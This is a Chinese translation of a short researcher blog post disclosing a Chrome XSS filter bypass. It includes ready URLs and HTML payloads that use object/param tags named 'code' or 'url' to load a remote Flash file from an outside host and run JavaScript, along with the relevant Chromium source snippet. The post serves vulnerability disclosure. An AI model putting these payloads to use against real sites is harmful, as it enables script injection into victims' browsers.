原文鏈接:MKSB

原作者:Masato Kinugawa

譯:Holic (知道創宇404安全實驗室)

Hi there!

出于一些原因,我在讀 Chromium 的源碼的時候,意外地發現了一個繞過 XSS 過濾器的方法。在這篇短文里,我將分享這一繞過方法。我已在此處進行了報告: https://bugs.chromium.org/p/chromium/issues/detail?id=676992

繞過方法如下:

https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=url%20value=https://l0.cm/xss.swf%3E

<object allowscriptaccess=always>
<param name=url value=https://l0.cm/xss.swf>

當然這樣也有效:

https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=code%20value=https://l0.cm/xss.swf%3E

<object allowscriptaccess=always>
<param name=code value=https://l0.cm/xss.swf>

直到我在 HTMLObjectElement.cpp 中找到相關代碼,我才知道 Chrome 竟會支持這些參數,:

if (url.isEmpty() && urlParameter.isEmpty() &&
    (equalIgnoringCase(name, "src") || equalIgnoringCase(name, "movie") ||
     equalIgnoringCase(name, "code") || equalIgnoringCase(name, "url")))
  urlParameter = stripLeadingAndTrailingHTMLSpaces(p->value());

<param name="src" value="http://attacker/xss.swf"><param name="movie" value="http://attacker/xss.swf"> 被 XSS 過濾器攔截了。但是我發現 codeurl 并沒有被攔截。使用這一方法,我們可以加載 Flash 并執行 JavaScript。根據源代碼的注釋,看來 Chrome 出于兼容性的考慮支持這一特性。但至少我確認了它在 IE/Edge 上并不生效。我認為 Chrome 可以移除對它的支持 :)

此致。我寫了用 <param> 標簽繞過 XSS 過濾器的方法,感謝閱讀!


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/162/